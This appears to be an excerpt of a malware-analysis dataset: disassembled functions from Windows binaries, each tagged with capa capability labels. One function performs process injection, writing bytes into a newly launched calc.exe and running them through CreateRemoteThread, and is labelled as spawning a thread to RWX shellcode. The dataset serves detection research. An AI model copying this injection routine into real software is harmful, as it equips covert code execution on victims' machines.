joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1401e1880
Capabilities:
Decrypt data using aes via x86 extensions
Encrypt data using aes via x86 extensions

Disassembly:
mov r8, qword [rcx + 0x9f0]
mov rax, rdx
mov rcx, rax
mov edx, 0x200000
jmp 0x1401e71d0
sub rsp, 0x28
movdqa xmm4, xmmword [0x140253050]
lea r10, [rdx + r8]
movdqa xmm5, xmmword [0x140252fb0]
mov r9, rcx
movdqu xmm0, xmmword [rcx]
movdqu xmm1, xmmword [rcx + 0x10]
movdqu xmm2, xmmword [rcx + 0x20]
movdqu xmm3, xmmword [rcx + 0x30]
movaps xmmword [rsp + 0x10], xmm6
movdqa xmm6, xmmword [0x140252fe0]
movaps xmmword [rsp], xmm7
movdqa xmm7, xmmword [0x140252ff0]
cmp r8, r10
jae 0x1401e7255
lea rcx, [r8 + 0x20]
aesdec xmm0, xmm4
movdqu xmmword [rcx - 0x20], xmm0
lea rcx, [rcx + 0x40]
aesenc xmm1, xmm5
movdqu xmmword [rcx - 0x50], xmm1
lea rax, [rcx - 0x20]
aesdec xmm2, xmm6
movdqu xmmword [rcx - 0x40], xmm2
aesenc xmm3, xmm7
movdqu xmmword [rcx - 0x30], xmm3
cmp rax, r10
jb 0x1401e7220
movaps xmm6, xmmword [rsp + 0x10]
movaps xmm7, xmmword [rsp]
movdqu xmmword [r9], xmm0
movdqu xmmword [r9 + 0x10], xmm1
movdqu xmmword [r9 + 0x20], xmm2
movdqu xmmword [r9 + 0x30], xmm3
add rsp, 0x28
ret

Function at 0x1401e2fb0
Capabilities:
Allocate or change rwx memory

Disassembly:
mov rcx, qword [rcx + 0x38]
mov edx, 0x13000
jmp 0x1401e4bc0
sub rsp, 0x28
lea r9, [rsp + 0x40]
mov r8d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
add rsp, 0x28
ret

Function at 0x1401e2fd0
Capabilities:
Allocate or change rwx memory

Disassembly:
mov rcx, qword [rcx + 0x38]
mov edx, 0x13000
jmp 0x1401e4ba0
sub rsp, 0x28
lea r9, [rsp + 0x40]
mov r8d, 4
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
add rsp, 0x28
ret

Function at 0x1401e4690
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov qword [rcx + 0x9f8], rdx
lea rbx, [rcx + 0xa40]
mov rax, qword [rdx]
mov rdi, rdx
mov qword [rcx + 0x9e8], rax
mov rcx, rbx
call fcn.1401e2fd0
lea r8, [rdi + 0x8368]
mov rcx, rbx
lea rdx, [rdi + 0x28]
call fcn.1401e2d80
mov rcx, rbx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp fcn.1401e2fc0

Function at 0x1401e7940
Capabilities:
Decrypt data using aes via x86 extensions
Encrypt data using aes via x86 extensions

Disassembly:
movdqa xmm2, xmmword [0x140253070]
lea r9, [rcx + rdx]
movdqa xmm3, xmmword [0x140253030]
movdqa xmm4, xmmword [0x140253090]
movdqa xmm5, xmmword [0x140253000]
cmp rcx, r9
jae 0x1401e7994
add rcx, 0x20
nop dword [rax]
aesenc xmm2, xmmword [rcx - 0x20]
aesdec xmm3, xmmword [rcx - 0x10]
aesenc xmm4, xmmword [rcx]
aesdec xmm5, xmmword [rcx + 0x10]
lea rcx, [rcx + 0x40]
lea rax, [rcx - 0x20]
cmp rax, r9
jb 0x1401e7970
movdqa xmm0, xmmword [0x140252fa0]
movdqa xmm1, xmmword [0x1402530a0]
aesenc xmm2, xmm0
aesdec xmm3, xmm0
aesenc xmm2, xmm1
movdqu xmmword [r8], xmm2
aesenc xmm4, xmm0
aesdec xmm3, xmm1
movdqu xmmword [r8 + 0x10], xmm3
aesdec xmm5, xmm0
aesenc xmm4, xmm1
aesdec xmm5, xmm1
movdqu xmmword [r8 + 0x20], xmm4
movdqu xmmword [r8 + 0x30], xmm5
ret
Function at 0x1401e7df0
Capabilities:
Decrypt data using aes via x86 extensions
Encrypt data using aes via x86 extensions

Disassembly:
push rbx
sub rsp, 0x60
movdqu xmm0, xmmword [r9]
mov rbx, r8
movdqu xmm1, xmmword [r9 + 0x10]
lea r8, [rdx - 0x1000]
movdqa xmm2, xmmword [0x140253070]
mov r11, r9
movdqa xmm3, xmmword [0x140253030]
mov r10, rcx
movdqa xmm4, xmmword [0x140253090]
mov rax, rcx
movdqa xmm5, xmmword [0x140253000]
add r8, rcx
movaps xmmword [rsp + 0x50], xmm6
mov edx, 2
movdqu xmm6, xmmword [r9 + 0x20]
movaps xmmword [rsp + 0x40], xmm7
movdqu xmm7, xmmword [r9 + 0x30]
lea r9, [rcx + 0x1000]
movaps xmmword [rsp + 0x30], xmm8
movdqa xmm8, xmmword [0x140253050]
movaps xmmword [rsp + 0x20], xmm9
movdqa xmm9, xmmword [0x140252fb0]
movaps xmmword [rsp + 0x10], xmm10
movdqa xmm10, xmmword [0x140252fe0]
movaps xmmword [rsp], xmm11
movdqa xmm11, xmmword [0x140252ff0]
cmp rax, r8
jae 0x1401e7ef2
lea rcx, [rax + 0x20]
sub r9, rax
aesenc xmm2, xmmword [rax]
aesdec xmm3, xmmword [rcx - 0x10]
aesenc xmm4, xmmword [rcx]
aesdec xmm5, xmmword [rcx + 0x10]
aesdec xmm0, xmm8
movdqu xmmword [rax], xmm0
aesenc xmm1, xmm9
movdqu xmmword [rcx - 0x10], xmm1
aesdec xmm6, xmm10
aesenc xmm7, xmm11
movdqu xmmword [rcx], xmm6
movdqu xmmword [rcx + 0x10], xmm7
prefetcht0 byte [r9 + rax]
add rax, 0x40
lea rcx, [rcx + 0x40]
cmp rax, r8
jb 0x1401e7ea0
add r8, 0x1000
mov r9, r10
sub rdx, 1
jne 0x1401e7e94
movaps xmm8, xmmword [rsp + 0x30]
movaps xmm9, xmmword [rsp + 0x20]
movaps xmm10, xmmword [rsp + 0x10]
movaps xmm11, xmmword [rsp]
movdqu xmmword [r11], xmm0
movdqa xmm0, xmmword [0x140252fa0]
movdqu xmmword [r11 + 0x10], xmm1
movdqa xmm1, xmmword [0x1402530a0]
movdqu xmmword [r11 + 0x20], xmm6
movaps xmm6, xmmword [rsp + 0x50]
movdqu xmmword [r11 + 0x30], xmm7
movaps xmm7, xmmword [rsp + 0x40]
aesenc xmm2, xmm0
aesdec xmm3, xmm0
aesenc xmm2, xmm1
movdqu xmmword [rbx], xmm2
aesenc xmm4, xmm0
aesdec xmm3, xmm1
movdqu xmmword [rbx + 0x10], xmm3
aesdec xmm5, xmm0
aesenc xmm4, xmm1
aesdec xmm5, xmm1
movdqu xmmword [rbx + 0x20], xmm4
movdqu xmmword [rbx + 0x30], xmm5
add rsp, 0x60
pop rbx
ret
Function at 0x1400040e0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x20]
sub rsp, 0x120
mov rax, qword [0x140048060]
xor rax, rsp
mov qword [rbp + 0x10], rax
movups xmm0, xmmword [0x140041e70]
movups xmmword [rbp], xmm0
xorps xmm1, xmm1
xor eax, eax
movups xmmword [rbp - 0x6c], xmm1
movups xmmword [rbp - 0x5c], xmm1
movups xmmword [rbp - 0x4c], xmm1
movups xmmword [rbp - 0x3c], xmm1
movups xmmword [rbp - 0x2c], xmm1
movups xmmword [rbp - 0x1c], xmm1
mov dword [rbp - 0xc], eax
mov dword [rbp - 0x70], 0x68
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], rax
xor esi, esi
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x78], rsi
mov qword [rbp - 0x80], 0xf
mov byte [rsp + 0x68], al
lea r8d, [rax + 0x1c]
lea rdx, str.C:WindowsSystem32calc.exe
lea rcx, [rsp + 0x68]
call fcn.140007080
nop
lea rcx, [rsp + 0x68]
cmp qword [rbp - 0x80], 0x10
cmovae rcx, qword [rsp + 0x68]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x140004202
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
lea rdx, str.CreateProcess_failed__
lea rcx, [0x1400499c0]
call fcn.140008a40
mov rcx, rax
mov edx, ebx
call fcn.140004320
mov rcx, rax
lea rdx, [0x140041ea0]
call fcn.140008a40
mov rcx, rax
call fcn.140008cc0
xor bl, bl
jmp 0x14000427c
mov r8d, dword [rsp + 0x60]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
mov dword [rsp + 0x20], 0x40
xor edx, edx
mov r9d, 0x3000
lea r8d, [rdx + 0x10]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbx, rax
mov qword [rsp + 0x20], rsi
mov r9d, 0x10
lea r8, [rbp]
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rsi
mov r9, rbx
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov bl, 1
mov rdx, qword [rbp - 0x80]
cmp rdx, 0x10
jb 0x1400042b4
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400042af
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400042dc
call fcn.14000d510
movzx eax, bl
mov rcx, qword [rbp + 0x10]
xor rcx, rsp
call fcn.14000d4f0
lea r11, [rsp + 0x120]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
call fcn.140017570
int3
Function at 0x140004a40
Capabilities:
Read file on windows

Disassembly:
push rbx
push rsi
push r14
sub rsp, 0x30
mov r14, r8
mov rsi, rdx
mov rbx, rcx
test r8, r8
jg 0x140004a62
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbx
ret
cmp qword [rcx + 0x68], 0
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x20], rdi
je 0x140004adc
mov rdi, r14
mov rcx, rbx
call fcn.140006a70
test rax, rax
jle 0x140004ab4
mov rdx, qword [rbx + 0x38]
cmp rdi, rax
mov rbp, rdi
mov rcx, rsi
cmovge rbp, rax
mov r8, rbp
mov rdx, qword [rdx]
call fcn.14000f410
mov rax, qword [rbx + 0x50]
sub rdi, rbp
sub dword [rax], ebp
mov rcx, qword [rbx + 0x38]
movsxd rax, ebp
add qword [rcx], rax
jmp 0x140004acc
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x38]
cmp eax, 0xffffffff
je 0x140004ad4
mov byte [rsi], al
dec rdi
mov ebp, 1
add rsi, rbp
test rdi, rdi
jg 0x140004a76
sub r14, rdi
jmp 0x140004bc9
mov rax, qword [rcx + 0x38]
mov rbp, r14
mov rdx, qword [rax]
test rdx, rdx
je 0x140004af3
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x140004af5
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x140004b2a
cmp rax, r14
mov rdi, r14
mov rcx, rsi
cmovb rdi, rax
mov r8, rdi
call fcn.14000f410
mov rax, qword [rbx + 0x50]
sub rbp, rdi
add rsi, rdi
mov r8, rbp
sub dword [rax], edi
mov rcx, qword [rbx + 0x38]
movsxd rax, edi
add qword [rcx], rax
cmp qword [rbx + 0x80], 0
je 0x140004bc6
mov r9, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r9], rax
jne 0x140004b65
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r9], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rdi, r8
cmp r8, 0xfff
jbe 0x140004ba1
mov r9, qword [rbx + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, rsi
call fcn.14001705c
sub rbp, rax
add rsi, rax
mov rdi, rbp
cmp rax, 0xfff
jne 0x140004bdf
cmp rbp, rax
ja 0x140004b71
mov r8, rdi
test rdi, rdi
je 0x140004bc6
mov r9, qword [rbx + 0x80]
mov r8, rbp
mov edx, 1
mov rcx, rsi
call fcn.14001705c
mov r8, rdi
sub r8, rax
sub r14, r8
mov rbp, qword [rsp + 0x28]
mov rax, r14
mov rdi, qword [rsp + 0x20]
add rsp, 0x30
pop r14
pop rsi
pop rbx
ret
sub r14, rbp
jmp 0x140004bc9
Function at 0x140004fe0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x140048060]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x14000500d
xor eax, eax
jmp 0x140005153
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x140005047
mov rax, qword [rcx + 0x58]
movsxd r8, dword [rax]
lea rcx, [rdx + r8]
cmp rdx, rcx
jae 0x140005047
lea ecx, [r8 - 1]
mov dword [rax], ecx
mov eax, edi
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], dil
jmp 0x140005153
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x140005146
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x14000508a
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x140005099
movsx ecx, dil
jmp 0x1400050ed
lea r8, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov rax, qword [rcx]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x38], r8
lea r9, [rsp + 0x51]
lea r8, [rsp + 0x78]
mov qword [rsp + 0x30], r8
lea r8, [rsp + 0x58]
mov qword [rsp + 0x28], r8
lea r8, [rsp + 0x48]
mov qword [rsp + 0x20], r8
lea r8, [rsp + 0x50]
call qword [rax + 0x38]
test eax, eax
je 0x140005107
sub eax, 1
je 0x140005107
cmp eax, 2
jne 0x140005146
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call fcn.140013740
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x14000514b
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x140005134
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call fcn.1400168a8
cmp rsi, rax
jne 0x140005146
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov eax, edi
jne 0x14000514b
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.14000d4f0
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret
Function at 0x14000be70
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x47]
sub rsp, 0x90
mov rax, qword [0x140048060]
xor rax, rsp
mov qword [rbp + 0x3f], rax
mov edi, 0xffff
xor r14d, r14d
movzx esi, dx
mov rbx, rcx
cmp di, dx
jne 0x14000beb4
movzx eax, r14w
jmp 0x14000bfea
mov rax, qword [rcx + 0x40]
mov r8, qword [rax]
test r8, r8
je 0x14000bef0
mov rax, qword [rcx + 0x58]
movsxd r9, dword [rax]
lea rdx, [r8 + r9*2]
cmp r8, rdx
jae 0x14000bef0
lea ecx, [r9 - 1]
mov dword [rax], ecx
movzx eax, si
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 2]
mov qword [rdx], rcx
mov word [r8], si
jmp 0x14000bfea
cmp qword [rcx + 0x80], r14
je 0x14000bfe7
mov r8, qword [rcx + 0x18]
lea rax, [rcx + 0x70]
cmp qword [r8], rax
jne 0x14000bf2e
mov rdx, qword [rcx + 0x90]
mov rcx, qword [rcx + 0x88]
mov qword [r8], rcx
sub rdx, rcx
mov rax, qword [rbx + 0x38]
sar rdx, 1
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x14000bf57
movzx ecx, si
mov rdx, qword [rbx + 0x80]
call fcn.140017e4c
cmp ax, di
je 0x14000bfe7
movzx edi, si
jmp 0x14000bfe7
lea r8, [rbp + 0xf]
mov word [rbp + 7], si
mov rax, qword [rcx]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x38], r8
lea r9, [rbp + 9]
lea r8, [rbp + 0x3f]
mov qword [rsp + 0x30], r8
lea r8, [rbp + 0x1f]
mov rax, qword [rax + 0x38]
mov qword [rsp + 0x28], r8
lea r8, [rbp + 0x17]
mov qword [rsp + 0x20], r8
lea r8, [rbp + 7]
call qword [0x1400332e8]
test eax, eax
je 0x14000bfac
sub eax, 1
je 0x14000bfac
cmp eax, 2
jne 0x14000bfe7
movzx ecx, word [rbp + 7]
jmp 0x14000bf3a
mov r14, qword [rbp + 0xf]
lea rax, [rbp + 0x1f]
sub r14, rax
je 0x14000bfd6
mov r9, qword [rbx + 0x80]
lea rcx, [rbp + 0x1f]
mov r8, r14
mov edx, 1
call fcn.1400168a8
cmp r14, rax
jne 0x14000bfe7
lea rax, [rbp + 7]
mov byte [rbx + 0x72], 1
cmp qword [rbp + 0x17], rax
movzx eax, si
jne 0x14000bfea
movzx eax, di
mov rcx, qword [rbp + 0x3f]
xor rcx, rsp
call fcn.14000d4f0
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret

Function at 0x14001c96c
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14001c798
Function at 0x140023458
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov rbx, rcx
test rcx, rcx
jne 0x14002317e
call fcn.1400176a8
mov dword [rax], 0x16
call fcn.140017550
jmp 0x1400232c9
mov eax, dword [rcx + 0x14]
shr eax, 0xd
test al, 1
je 0x1400232c9
mov eax, dword [rcx + 0x14]
shr eax, 0xc
test al, 1
jne 0x1400232c9
mov eax, dword [rcx + 0x14]
shr eax, 1
test al, 1
je 0x1400231ad
lock or dword [rcx + 0x14], 0x10
jmp 0x1400232c9
lock or dword [rcx + 0x14], 1
mov eax, dword [rcx + 0x14]
test eax, 0x4c0
jne 0x1400231c1
call fcn.140023940
mov esi, dword [rbx + 0x10]
cmp esi, 1
jne 0x1400231d1
mov rax, qword [rbx]
mov bpl, byte [rax]
jmp 0x1400231d4
xor bpl, bpl
mov rdi, qword [rbx + 8]
mov rcx, rbx
mov qword [rbx], rdi
call fcn.14001f4bc
mov r8d, dword [rbx + 0x20]
mov ecx, eax
mov rdx, rdi
call fcn.1400249a8
mov dword [rbx + 0x10], eax
lea ecx, [rax + 1]
cmp ecx, 2
jbe 0x1400232b7
mov eax, dword [rbx + 0x14]
test al, 6
jne 0x140023265
mov rcx, rbx
call fcn.14001f4bc
cmp eax, 0xffffffff
je 0x140023250
mov rcx, rbx
call fcn.14001f4bc
cmp eax, 0xfffffffe
je 0x140023250
mov rcx, rbx
call fcn.14001f4bc
movsxd rdi, eax
lea r14, [0x14004a7e0]
mov rcx, rbx
sar rdi, 6
call fcn.14001f4bc
and eax, 0x3f
lea rcx, [rax + rax*8]
mov rax, qword [r14 + rdi*8]
lea rdx, [rax + rcx*8]
jmp 0x140023257
lea rdx, [0x140048290]
mov al, byte [rdx + 0x38]
and al, 0x82
cmp al, 0x82
jne 0x140023265
lock or dword [rbx + 0x14], 0x20
cmp dword [rbx + 0x20], 0x200
jne 0x140023289
mov eax, dword [rbx + 0x14]
shr eax, 6
test al, 1
je 0x140023289
mov eax, dword [rbx + 0x14]
shr eax, 8
test al, 1
jne 0x140023289
mov dword [rbx + 0x20], 0x1000
mov rax, qword [rbx]
cmp esi, 1
jne 0x1400232a7
movzx ecx, byte [rax]
dec dword [rbx + 0x10]
shl cx, 8
movzx eax, bpl
or cx, ax
inc qword [rbx]
jmp 0x1400232b2
movzx ecx, word [rax]
add dword [rbx + 0x10], 0xfffffffe
add qword [rbx], 2
movzx eax, cx
jmp 0x1400232ce
neg eax
sbb eax, eax
and eax, 8
add eax, 8
lock or dword [rbx + 0x14], eax
and dword [rbx + 0x10], 0
mov eax, 0xffff
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
jmp 0x140023148
Function at 0x140004300
Capabilities:
Enumerate pe sections

Disassembly:
push rbx
push rbp
push r13
push r14
mov eax, 0x1078
call fcn.140010b60
sub rsp, rax
mov rax, qword [0x140023040]
xor rax, rsp
mov qword [rsp + 0x1050], rax
mov rbp, rdx
mov qword [rsp + 0x38], r9
mov rdx, qword [rsp + 0x10c0]
xor r14d, r14d
mov qword [rsp + 0x30], rdx
mov r13, r8
mov qword [rsp + 0x40], rcx
test r8, r8
je 0x140004382
mov r9d, 0x1000
lea rdx, [rsp + 0x50]
call fcn.1400027d0
test al, al
jne 0x14000438a
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.____Cant_read_module_headers
call fcn.1400060f0
lea rdx, [0x1400062d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov rdx, r14
jmp 0x140004472
mov qword [rsp + 0x10a8], rsi
mov qword [rsp + 0x1070], rdi
mov rdi, 0xffffffffffffffff
mov qword [rsp + 0x1068], r12
mov qword [rsp + 0x1060], r15
inc rdi
cmp byte [rdi + rbp], r14b
jne 0x1400043b1
movsxd rax, dword [rsp + 0x8c]
lea rcx, [rsp + 0x50]
add rcx, rax
mov esi, r14d
movzx eax, word [rcx + 0x14]
lea r12, [rcx + 0x18]
movzx r15d, word [rcx + 6]
add r12, rax
test r15d, r15d
je 0x14000442c
nop dword [rax]
nop word [rax + rax]
mov eax, esi
mov r8, rdi
mov rdx, rbp
lea rcx, [rax + rax*4]
lea rbx, [r12 + rcx*8]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140004425
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rbx + rax], r14b
jne 0x140004413
cmp rdi, rax
je 0x1400044ac
inc esi
cmp esi, r15d
jb 0x1400043f0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.____Cant_find_section
call fcn.1400060f0
lea rdx, [0x1400062d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov rdx, r14
mov r12, qword [rsp + 0x1068]
mov rdi, qword [rsp + 0x1070]
mov rsi, qword [rsp + 0x10a8]
mov r15, qword [rsp + 0x1060]
mov rax, qword [rsp + 0x30]
mov r9, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x40]
mov r8d, r14d
mov qword [rsp + 0x20], rax
call fcn.140004180
mov rcx, qword [rsp + 0x1050]
xor rcx, rsp
call fcn.14000fac0
add rsp, 0x1078
pop r14
pop r13
pop rbp
pop rbx
ret
mov eax, dword [rbx + 0xc]
test eax, eax
je 0x14000442c
mov ecx, dword [rbx + 8]
lea rdx, [rsp + 0x50]
add rdx, rax
je 0x14000442c
test ecx, ecx
je 0x14000442c
lea rax, [rsp + 0x50]
mov r14d, ecx
sub rdx, rax
add rdx, r13
jmp 0x140004452
Function at 0x140005830
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x140023040]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x14000585d
xor eax, eax
jmp 0x1400059c9
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x140005897
mov rax, qword [rcx + 0x58]
movsxd r8, dword [rax]
lea rcx, [rdx + r8]
cmp rdx, rcx
jae 0x140005897
lea ecx, [r8 - 1]
mov dword [rax], ecx
mov eax, edi
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], dil
jmp 0x1400059c9
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x1400059bc
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x1400058da
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x140005905
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x1400059c1
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140005974
sub eax, 1
je 0x140005974
cmp eax, 2
jne 0x1400059bc
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x1400059c1
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x1400059a2
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x1400059bc
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov ecx, 0xffffffff
cmovne ecx, edi
mov eax, ecx
jmp 0x1400059c1
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.14000fac0
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret
Function at 0x140005dd0
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x140023040]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x140005ea3
cmp byte [rcx + 0x71], 0
je 0x140005ea3
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x140005e9f
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
